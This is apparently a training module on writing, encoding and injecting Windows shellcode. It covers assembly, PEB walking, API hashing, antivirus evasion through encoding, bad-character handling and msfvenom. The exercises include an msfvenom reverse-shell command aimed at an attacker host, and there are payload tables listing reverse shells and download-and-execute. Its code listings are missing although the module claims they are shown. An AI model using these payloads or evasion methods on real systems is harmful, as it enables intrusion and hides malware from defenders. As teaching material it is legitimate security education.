Shellcode is not a program. It's a parasite. It doesn't have a window, a menu, or a file. It exists only in memory, injected into another process, and executes invisibly. The smaller it is, the harder it is to detect. The simpler it is, the more reliable it is. This module teaches you to write, encode, inject, and execute shellcode — the purest form of malware. You will learn assembly from the ground up, master the stack and registers, walk the PEB to find APIs dynamically, encode payloads to evade detection, and build custom position-independent code that works on any Windows system.
"Shellcode is just instructions."
At the CPU level there is no such thing as a "program file" — only bytes that the processor reads, decodes, and executes one by one. Shellcode is simply a sequence of those bytes chosen to do something useful, like open a socket or launch a program. It does not need a linker, a loader, or an installer.
Red: If you can turn your goal into raw CPU instructions, you can run it anywhere you can write memory. Blue: Detection that only looks at files or processes misses code that never touches disk.
Imagine a soldier who doesn't wear a uniform, doesn't carry a weapon, and doesn't exist on any roster. He slips into an enemy unit, wears their uniform, speaks their language, and waits. When the time comes, he acts — and disappears. That's shellcode. Not a program, but a presence inside a program. He doesn't bring his own tools; he uses the enemy's. He doesn't ask for permission; he takes what he needs from the environment. This module teaches you to become that soldier at the machine-code level.
Virtual memory layout, heap vs stack, memory protection flags (PAGE_EXECUTE_READWRITE), and how shellcode lives in memory without a file on disk.
Payload design, evasion techniques, packers, and how shellcode fits into the broader malware development lifecycle.
Process injection, remote threads, APC injection, and how shellcode is delivered into target processes using Windows APIs.
Shellcode is machine code — binary instructions that the CPU executes directly. No compiler, no linker, no operating system loader. Just raw bytes fed into memory and jumped to. To write shellcode, you must first understand assembly: the human-readable representation of machine code. Every instruction maps to one or more bytes. Every byte is an order given directly to the CPU.
Assembly is like giving orders in the enemy's language. You don't ask the OS to do something; you tell the CPU directly. No interpreter, no middleman. Every command is a single machine instruction: move this value, add these numbers, jump to that address. If you get one byte wrong, the CPU crashes or executes garbage. Precision is everything.
Assembly language is a symbolic representation of a processor's machine code. Each assembly instruction corresponds to exactly one machine instruction (on RISC architectures) or a small sequence (on CISC like x86). The assembler (NASM, MASM, GAS) converts these human-readable mnemonics into the binary opcodes the CPU understands.
x86 instructions follow a variable-length format: [Prefixes] + [Opcode] + [ModR/M] + [SIB] + [Displacement] + [Immediate]. Not all fields are present in every instruction. Understanding this helps you predict instruction sizes and avoid null bytes.
| Field | Size | Purpose |
|---|---|---|
| Prefixes | 0-4 bytes | Lock, repeat, segment override, operand-size override |
| Opcode | 1-3 bytes | The actual operation (mov, add, jmp, etc.) |
| ModR/M | 0-1 byte | Register/memory addressing mode |
| SIB | 0-1 byte | Scale-Index-Base for complex addressing |
| Displacement | 0-4 bytes | Memory offset |
| Immediate | 0-4 bytes | Constant value operand |
Shellcode size is critical. Every byte must be injected, and smaller payloads evade size-based heuristics. A mov eax, 0 encoded as B8 00 00 00 00 is 5 bytes with nulls. The same operation as xor eax, eax (31 C0) is 2 bytes, null-free. Shellcode authors obsess over every byte.
| Instruction | Description | Example Use |
|---|---|---|
| mov | Move data between registers/memory | mov eax, ebx — copy register value |
| push / pop | Stack operations | push eax — save register; pop eax — restore |
| xor | Bitwise XOR (used to zero registers) | xor eax, eax — zero eax without nulls |
| add / sub | Arithmetic | add esp, 0x20 — clean stack |
| call / ret | Function call and return | call eax — call API via register |
| jmp | Unconditional jump | jmp short forward — skip data |
| cmp / test | Compare and test (set flags) | cmp eax, 0 — check return value |
| jz / jnz | Jump if zero / not zero | jz error_handler — branch on failure |
| lea | Load effective address | lea eax, [esp+4] — get pointer |
| nop | No operation (0x90) | nop sleds, alignment padding |
Registers are the CPU's fastest, smallest storage. They hold data being processed, memory addresses, and status flags. Shellcode lives and dies by register management. You have no variables, no stack frame helpers — just registers and memory.
| Register | Full (32-bit) | Low 16 | Low 8 | High 8 | Typical Use |
|---|---|---|---|---|---|
| EAX | EAX | AX | AL | AH | Accumulator, return values, arithmetic |
| EBX | EBX | BX | BL | BH | Base register, often holds pointers |
| ECX | ECX | CX | CL | CH | Counter, loop iterations, string ops |
| EDX | EDX | DX | DL | DH | Data, I/O operations, multiply/divide |
| ESI | ESI | SI | SIL* | — | Source index, string source pointer |
| EDI | EDI | DI | DIL* | — | Destination index, string destination |
| EBP | EBP | BP | BPL* | — | Base pointer, stack frame reference |
| ESP | ESP | SP | SPL* | — | Stack pointer, top of stack |
* Low 8-bit aliases require REX prefix on x64; not available on x86.
| Register | Purpose | Shellcode Relevance |
|---|---|---|
| EIP / RIP | Instruction pointer — address of next instruction | Cannot be directly modified; controlled via jmp/call/ret |
| EFLAGS | Status flags (zero, carry, sign, overflow, etc.) | Conditional jumps depend on these flags |
| FS (x86) / GS (x64) | Segment register pointing to TEB/PEB | FS:[0x30] = PEB on x86; GS:[0x60] = PEB on x64 |
x64 adds 8 new general-purpose registers (R8-R15) and extends all 32-bit registers to 64-bit (RAX, RBX, RCX, etc.). Calling conventions differ: the first four integer arguments are passed in RCX, RDX, R8, R9 instead of the stack. This changes shellcode design significantly.
In both x86 and x64, certain registers must be preserved across function calls: EBX/RBX, ESI/RSI, EDI/RDI, EBP/RBP. If your shellcode modifies these, you must save and restore them. EAX/RAX, ECX/RCX, EDX/RDX are scratch registers — functions can overwrite them freely. Violating these rules crashes the host process.
The stack is a region of memory that grows downward (from high addresses to low addresses). It is used for temporary storage, function call frames, local variables, and return addresses. Understanding the stack is non-negotiable for shellcode — every function call manipulates it, and buffer overflows (which inject shellcode) target it.
The stack is like a pile of papers on a desk. You can only add or remove from the top. When you call a function, you put the return address on top. When the function finishes, it reads that address and jumps back. If an attacker overflows a buffer and overwrites the return address, they control where the CPU goes next. That's the foundation of stack-based exploitation.
x64 requires the stack to be 16-byte aligned before a CALL instruction. Misaligned stacks cause crashes in SSE-optimized functions. Shellcode must manually align the stack or use APIs that don't enforce alignment.
A calling convention defines how functions receive arguments, return values, and who cleans up the stack. Windows uses different conventions for different architectures and API types. Shellcode must obey these rules or the host process crashes.
Arguments pushed right-to-left. Callee cleans the stack. Return value in EAX. This is the convention for most Windows APIs (kernel32.dll, user32.dll, etc.).
Arguments pushed right-to-left. Caller cleans the stack. Used by C runtime functions like printf, malloc.
First two arguments in ECX and EDX. Remaining arguments on stack. Callee cleans stack. Rare in Windows APIs but used in some internal functions.
First four integer/pointer arguments in RCX, RDX, R8, R9. Additional arguments on stack. Caller allocates 32 bytes of "shadow space" on stack before call. Stack must be 16-byte aligned.
| Convention | Args | Stack Cleanup | Where Used |
|---|---|---|---|
| stdcall | Stack (right-to-left) | Callee (ret n) | Most Windows APIs (32-bit) |
| cdecl | Stack (right-to-left) | Caller (add esp, n) | C runtime functions |
| fastcall | ECX, EDX, then stack | Callee | Some internal MS functions |
| x64 MS | RCX, RDX, R8, R9, then stack | Caller | All Windows APIs (64-bit) |
Shellcode has no fixed address. It might be injected at 0x10000000 in one process and 0x7F000000 in another. It cannot contain hardcoded absolute addresses for data or code. Position-Independent Code (PIC) solves this by computing addresses relative to the current instruction pointer.
PIC is like a soldier who doesn't know which building he's in, but he knows the layout is always the same. He measures distances from where he stands, not from a fixed landmark. If he's in the kitchen, the armory is always three doors to the left — regardless of which building he's in. Shellcode uses the same principle: everything is relative to the instruction pointer (EIP/RIP).
"Position-independent code is the goal."
Normal programs assume they will be loaded at one specific address. Shellcode cannot assume that, because it is injected into memory by an exploit and may land anywhere. PIC means the code never hardcodes addresses; it figures out where it is and computes everything relative to that point.
Red: PIC lets one payload work across reboots, processes, and ASLR without modification. Blue: Look for code that calls into itself, uses FS/GS to find the PEB, or avoids absolute pointers — these are hallmarks of injected shellcode.
The most common PIC technique in shellcode: call pushes the return address (which is the address of the next instruction) onto the stack. pop retrieves it into a register. This gives you the current EIP without needing to read it directly (which requires special instructions).
x64 has native RIP-relative addressing, making PIC easier. You can reference data directly relative to the instruction pointer without tricks.
When you inject shellcode via VirtualAllocEx + WriteProcessMemory, the target address is determined by the OS. It could be anywhere in the 2-4GB user-mode address space. If your shellcode references absolute addresses, it will access random memory and crash. PIC ensures your code works regardless of where it lands.
"If you can write memory and execute it, you win."
Modern operating systems separate reading, writing, and executing memory for safety. If an attacker can find or create a region that is both writable and executable, they can place their own instructions there and jump to them. That is the whole game in a nutshell: get your bytes into memory, point the CPU at them, and let it run.
Red: Your exploit chain usually ends with allocating RWX memory, copying shellcode, and creating a thread. Blue: Monitor for VirtualAlloc/VirtualProtect calls that mark memory as PAGE_EXECUTE_READWRITE, especially from unusual callers.
The Process Environment Block (PEB) is a Windows kernel structure that exists for every process. It contains the loaded module list, heap info, command line, and other process metadata. Most importantly, it contains the Ldr structure, which lists every loaded DLL with its base address. By walking this list, shellcode can find kernel32.dll dynamically — no hardcoded addresses needed.
The PEB is like a directory inside the enemy headquarters. It lists every unit (DLL) stationed there, where they are billeted (base address), and what equipment they have (exported functions). You don't need to know the address of the armory in advance; you just look it up in the directory. The directory is always in the same place: FS:[0x30] on x86, GS:[0x60] on x64.
The InMemoryOrderModuleList is a doubly-linked list of LDR_DATA_TABLE_ENTRY structures. Each entry represents a loaded DLL. The list order is typically: executable, ntdll.dll, kernel32.dll, kernelbase.dll, ...
Address Space Layout Randomization (ASLR) randomizes DLL base addresses on every reboot. But the PEB is always at a predictable offset from the segment register (FS/GS). The module list inside the PEB always contains the actual, current base addresses. By reading the PEB at runtime, shellcode gets the correct address regardless of randomization. This is the fundamental ASLR bypass technique used in virtually all modern Windows shellcode.
The PEB structure offsets have been stable since Windows NT 4.0. Microsoft cannot change them without breaking compatibility with thousands of applications. The FS:[0x30] / GS:[0x60] pointer, the Ldr offset (+0x0C x86 / +0x18 x64), and the module list entry offsets are effectively frozen in the Windows ABI. This makes PEB walking one of the most reliable techniques in shellcode.
Once you have a DLL's base address (from PEB walking), you need to find the address of a specific exported function (e.g., LoadLibraryA, WinExec, CreateProcessA). The PE (Portable Executable) format stores this information in the Export Directory. By parsing this structure manually, shellcode can resolve any API without calling GetProcAddress — which itself must first be found.
Storing full strings like "LoadLibraryA\0" (13 bytes) plus "GetProcAddress\0" (15 bytes) increases shellcode size significantly. A 4-byte hash of the name is much smaller. The hash function (often a simple ROR+ADD loop) is computed at runtime and compared against the precomputed hash embedded in the shellcode. This technique, popularized by Metasploit, reduces shellcode size by 50% or more.
Raw shellcode is a signature. Antivirus engines, IDS/IPS systems, and EDR products maintain databases of known shellcode byte sequences. Encoding transforms the shellcode into a different byte sequence that decodes itself at runtime. The decoder stub is small; the encoded payload is unrecognizable to signature-based detection.
Encoding is like writing a message in invisible ink. The paper (the payload) looks blank to the enemy (AV), but when heated (executed), the message appears. The decoder is the match — small, simple, and hard to detect on its own. The encoded payload is just noise until the decoder runs.
The simplest and most common encoding. Every byte of the payload is XORed with a single-byte key (or multi-byte key). The decoder stub XORs the payload back to original form in memory, then jumps to it. XOR is reversible: A XOR B XOR B = A.
Shikata Ga Nai (Japanese: "it cannot be helped") is Metasploit's polymorphic XOR additive feedback encoder. It is not a simple XOR loop — it uses dynamic instruction substitution, register randomization, and chained decoding. Each encoding produces a different byte sequence, defeating simple signature detection.
| Encoder | Type | Best For |
|---|---|---|
| x86/shikata_ga_nai | Polymorphic XOR | General purpose, high evasion |
| x86/xor | Static XOR | Speed, simplicity |
| x86/countdown | XOR with countdown | Small payloads |
| x86/fnstenv_mov | FPU-based EIP | Getting EIP without call/jmp |
| x86/alpha_mixed | Alpha-numeric | Restrictive input (e.g., buffer filters) |
| x86/unicode_mixed | Unicode-safe | Unicode translation paths |
Encoding transforms bytes to evade signatures. It does not provide confidentiality. Anyone with the key (or who captures the payload in memory after decoding) can recover the original shellcode. For true protection, use encryption (e.g., AES) with a key delivered separately. However, encrypted payloads require a decryption routine, which itself may be detected.
Null bytes (0x00) terminate C strings. Many injection vectors — buffer overflows, format strings, URL parameters — treat 0x00 as the end of input. If your shellcode contains a null byte, it may be truncated before reaching memory. Avoiding null bytes is one of the oldest and most important shellcode constraints.
| Operation | With Nulls (BAD) | Null-Free (GOOD) |
|---|---|---|
| Zero EAX | mov eax, 0 → B8 00 00 00 00 | xor eax, eax → 31 C0 |
| Zero ECX | mov ecx, 0 → B9 00 00 00 00 | xor ecx, ecx → 31 C9 |
| EAX = 1 | mov eax, 1 → B8 01 00 00 00 | xor eax, eax / inc eax → 31 C0 / 40 |
| Push 0 | push 0 → 6A 00 | xor eax, eax / push eax → 31 C0 / 50 |
| Large value | mov eax, 0x7C8623AD | xor eax, eax / mov ax, 0x23AD / shl eax, 16 / mov ax, 0x7C86 |
Modern exploit mitigations (ASLR, DEP, stack canaries) have made simple stack overflows rare. But null byte avoidance remains critical for:
Beyond null bytes, different injection vectors forbid different characters. A bad character is any byte that breaks your delivery mechanism. Common bad characters include null (0x00), newline (0x0A, 0x0D), space (0x20), and characters with special meaning in the target protocol (e.g., <, >, & in XML; \x in regex; % in URL encoding).
| Vector | Bad Characters | Reason |
|---|---|---|
| strcpy overflow | 0x00 | String terminator |
| HTTP GET parameter | 0x00, 0x20, 0x26, 0x3D | Null, space, &, = have special meaning |
| Base64 encoding | Non-alphanumeric + / = | Base64 alphabet restriction |
| Unicode conversion | 0x80-0xFF (depends on codepage) | May be expanded to 2 bytes |
| JSON value | 0x00, 0x22, 0x5C | Null, quote, backslash are escaped |
| XML/CDATA | 0x00, 0x3C, 0x3E, 0x26 | Null, <, >, & are special |
| Terminal input | 0x00, 0x03, 0x04, 0x1A | Control characters (Ctrl+C, Ctrl+D, Ctrl+Z) |
The standard technique is to send a payload containing all 256 bytes (0x00-0xFF) and observe which ones are truncated, modified, or rejected. The surviving bytes are your allowed character set.
Once you know your bad character set, you have several options:
Never assume bad characters based on documentation alone. Firewalls, WAFs, and application-level filters may modify your payload in unexpected ways. The only reliable method is to send a test payload and inspect the result in a debugger or memory dump.
msfvenom is the payload generation tool from the Metasploit Framework. It can generate shellcode in dozens of formats, apply encoders, avoid bad characters, and output to C, Python, PowerShell, raw binary, and more. It is the standard tool for rapid shellcode prototyping and production.
msfvenom is like an armory. You don't forge your own sword every time; you pick the right weapon for the mission, customize it, and deploy it. The armory has swords (bind shells), daggers (reverse shells), bows (staged payloads), and poison (encoded payloads). You choose the tool, the target, and the delivery method — msfvenom builds it.
| Payload | Type | Use Case |
|---|---|---|
| windows/shell_reverse_tcp | Stageless reverse shell | Direct connection back to attacker |
| windows/shell/bind_tcp | Stageless bind shell | Listen on target, attacker connects |
| windows/meterpreter/reverse_tcp | Staged reverse Meterpreter | Full-featured post-exploitation |
| windows/exec | Execute command | Run a specific command (e.g., calc.exe) |
| windows/download_exec | Download and execute | Fetch payload from URL, run it |
| windows/x64/shell_reverse_tcp | x64 reverse shell | Modern 64-bit Windows targets |
msfvenom is powerful, but custom shellcode is smaller, stealthier, and more reliable. You control every byte. You know exactly what it does. You can tailor it to specific constraints (size, bad characters, target OS version). This section walks through building a complete custom shellcode payload.
Our custom shellcode will:
Custom shellcode is the difference between a script kiddie and a professional. Anyone can run msfvenom. But when msfvenom's 300-byte payload is too large, when its signature is detected, when bad characters break the delivery — the professional writes their own. Custom shellcode is smaller, stealthier, and fully understood. It is the hallmark of advanced capability.
Apply everything in this module through hands-on exercises. All testing must be done in isolated virtual machines. Never run unknown shellcode on your main system or production networks.
All shellcode testing must be performed in an isolated VM with no network connectivity to production systems. Use a dedicated lab network (e.g., 192.168.56.0/24) with Host-Only networking. Snapshot your VM before testing. Never test shellcode on systems you do not own or have explicit written authorization to test.
sudo apt-get install nasm (Linux) or download from nasm.us (Windows)nasm -f win32 notepad.asm -o notepad.objobjdump -d notepad.obj or use a Python script to read the .text sectionmsfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f rawQuestion 1: Which instruction is the standard null-free way to zero a register in x86 shellcode?
mov eax, 0xor eax, eaxsub eax, eax (this also works but is less common)and eax, 0xFFFFFFFFQuestion 2: On x64 Windows, which segment register points to the TEB/PEB?
Question 3: In the x64 Microsoft calling convention, where is the first integer argument passed?
Question 1: What is the primary purpose of PEB walking in modern shellcode?
Question 2: In the PE export directory, which field contains the array of function name RVAs?
Question 3: Why do many shellcodes use hashed function names instead of full strings?
Question 1: Which msfvenom option specifies bad characters to avoid in the output?
-e-b-f-pQuestion 2: What is the key difference between encoding and encryption in the context of shellcode?
Question 3: Which of the following is a common bad character in HTTP GET parameter injection?
Virtual memory, heap vs stack, memory protection flags, and how shellcode lives in memory. Understanding PAGE_EXECUTE_READWRITE and memory allocation is essential for injection.
Payload design, packers, crypters, and evasion techniques. Shellcode is the core component of most malware. Learn how malware authors obfuscate and deliver payloads.
Process injection, remote threads, APC injection, and process hollowing. Shellcode is useless without a delivery mechanism. Module 10 teaches you how to get your shellcode into a target process.
| Assembly compilation | ✓ TESTED NASM |
| Shellcode extraction | ✓ TESTED objdump / xxd |
| Position-Independent Code | ✓ DEMONSTRATED call/pop & RIP-relative |
| Dynamic API resolution | ✓ DEMONSTRATED PEB walking |
| Export table parsing | ✓ DEMONSTRATED manual hash resolution |
| Shellcode encoding | ✓ COVERED XOR & Shikata Ga Nai |
| Null byte avoidance | ✓ DEMONSTRATED null-free alternatives |
| Bad character analysis | ✓ COVERED common vectors & testing |
| msfvenom usage | ✓ DEMONSTRATED encoding & formats |
| Custom shellcode | ✓ PROVIDED x86 template |
| Injection technique | ✓ COVERED Module 10 |
| ASLR bypass | ✓ DEMONSTRATED via PEB |